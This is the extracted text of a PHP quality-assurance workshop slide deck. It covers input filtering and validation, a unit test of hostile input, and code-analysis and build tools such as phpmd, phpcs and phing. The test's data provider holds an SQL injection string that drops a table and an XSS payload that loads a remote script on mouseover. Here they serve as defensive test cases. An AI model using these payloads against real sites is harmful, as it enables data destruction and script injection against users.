    Filter/Validate (2)        $emailAddress  =  new  Input('emailAddress');          $emailAddress-­‐>getFilterChain()                  -­‐>attach(new  FilterStringToLower());          $emailAddress-­‐>getValidatorChain()                  -­‐>attach(new  ValidatorNotEmpty())                  -­‐>attach(new  ValidatorEmailAddress());   !        $website  =  new  Input('website');          $website-­‐>getFilterChain()                  -­‐>attach(new  FilterStringToLower());          $website-­‐>getValidatorChain()                  -­‐>attach(new  ValidatorUri());   !        $comment  =  new  Input('comment');          $comment-­‐>getFilterChain()                  -­‐>attach(new  FilterStripTags())                  -­‐>attach(new  FilterHtmlEntities());
  • 64.
    InputFilter        $inputFilter  =  new  InputFilter();          $inputFilter-­‐>add($commentId)                  -­‐>add($fullName)                  -­‐>add($emailAddress)                  -­‐>add($website)                  -­‐>add($comment);   !        $this-­‐>setInputFilter($inputFilter);
  • 65.
    badDataProvider        /**            *  Provides  data  that  we  consider  to  be  unsafe            *  @return  array            */          public  function  badDataProvider()          {                  return  [                          [                                  [                                          'commentId'        =>  0,                                          'fullName'          =>  '',                                          'emailAddress'  =>  '',                                          'website'            =>  '',                                          'comment'            =>  '',                                  ]                          ],[                                  [                                          'commentId'        =>  'Little  Bobby  Tables',                                          'fullName'          =>  'Robert');  DROP  TABLE  `students`;  -­‐-­‐',                                          'emailAddress'  =>  'clickjack@hackers',                                          'website'            =>  "http://t.co/@"style="font-­‐size:999999999999px;"onmouseover= "$.getScript('http:u002fu002fis.gdu002ffl9A7')"/",                                          'comment'            =>  'exploit  twitter  9/21/2010',                                  ]                          ],                  ];          }
  • 66.
    our bad datatest        /**            *  @dataProvider  badDataProvider            */          public  function  testCommentIsProtectedAgainstHacks($data)          {                  $comment  =  new  Comment();                  $comment-­‐>getInputFilter()-­‐>setData($data);                  $this-­‐>assertFalse($comment-­‐>getInputFilter()-­‐>isValid());          }
  • 68.
    Exercise • Add somemore “badData” entries • See if the validation rules hold • Test one of the latest exploits
  • 69.
    Wanna know more… Comeand see me after the workshop
  • 70.
  • 71.
  • 72.
    • CYCLO: CyclomaticComplexity • LOC: Lines of Code • NOM: Number of Methods • NOC: Number of Classes • NOP: Number of Packages • AHH: Average Hierarchy Height • ANDC: Average Number of Derived Classes • FANOUT: Number of Called Classes • CALLS: Number of Operation Calls pDepend info
  • 73.
    • metric calculation •execution paths • independent control structures • if, else, for, foreach, switch case, while, do, … • within a single method or function • more info 
 http://en.wikipedia.org/wiki/Cyclomatic_complexity Cyclomatic Complexity
  • 74.
    • The averageof the maximum length from a root class to its deepest subclass Average Hierarchy Height
  • 75.
    Pyramid Inheritance few classesderived from other classes lots of classes inherit from other classes Inheritance
  • 76.
  • 77.
  • 78.
  • 82.
  • 83.
    What? • detects codesmells • possible bugs • sub-optimal code • over complicated expressions • unused parameters, methods and properties • wrongly named parameters, methods or properties
  • 84.
    Example output ./vendor/bin/phpmd exercise/html cleancode,codesize,controversial,design,naming,unusedcode --reportfile ./ build/logs/phpmd.html
  • 85.
  • 86.
    What? • detects similarcode snippets • plain copy/paste work • similar code routines • indicates problems • maintenance hell • downward spiral of disasters • stimulates improvements • refactoring of code • moving similar code snippets in common routines
  • 88.
  • 89.
    What? • validates codingstandards • consistency • readability • set as a policy for development • reports failures to meet the standard • sometimes good: parentheses on wrong line • mostly bad: line exceeds 80 characters • but needed for terminal viewing of code • can be set as pre-commit hook • but can cause frustration!!!
  • 91.
    Exercise • Run thefollowing commands against “MyClass” • pdepend • phpmd • phpcpd • phpcs (php_CodeSniffer) • What is the result?
  • 92.
  • 93.
    Using phing The PHPbuilder http://phing.info
  • 94.
    build.xml <?xml  version="1.0"  encoding="UTF-­‐8"?>   <project  name="PHPQA  Workshop"  default="build">          <fileset  dir="${project.basedir}"  id="files">                  <include  name="${project.basedir}/exercise/**"/>          </fileset>          <target  name="php-­‐lint"  description="Run  syntax  checking  on  the  codebase">                  <phplint>                          <fileset  refid="files"/>                  </phplint>          </target>          <target  name="php-­‐doc"  description="Generate  automated  documentation">                  <exec                          command="./vendor/bin/phpdoc  run  -­‐d  exercise/  -­‐t  build/phpdoc/"                          dir="${project.basedir}"/>          </target>          <!-­‐-­‐  ...  -­‐-­‐>            <target  name="build"  description="The  build  process">                  <phingcall  target="php-­‐lint"/>                  <phingcall  target="php-­‐doc"/>                  <phingcall  target="php-­‐depend"/>                  <phingcall  target="php-­‐md"/>                  <phingcall  target="php-­‐cpd"/>                  <phingcall  target="php-­‐cs"/>          </target>   </project>  
  • 95.
    Benefits • Everyone executesthe processes the same • Including automated CI tools • Once a new “target” is defined, it’s available
  • 96.
    There’s more withphing • auto upgrade databases • warming up caches • deploy over multiple nodes • collect statistics • perform benchmark/performance tests • …
  • 97.
    Easy CI integration •Jenkins CI • JetBrains TeamCity • Atlassian Bamboo • ContinuousPHP
  • 102.
  • 103.
    Contact us in it2PROFESSIONALPHP SERVICES Michelangelo van Dam michelangelo@in2it.be ! www.in2it.be PHP Consulting - Training - QA
  • 104.
  • 105.
    Thank you Have agreat conference http://www.flickr.com/photos/drewm/3191872515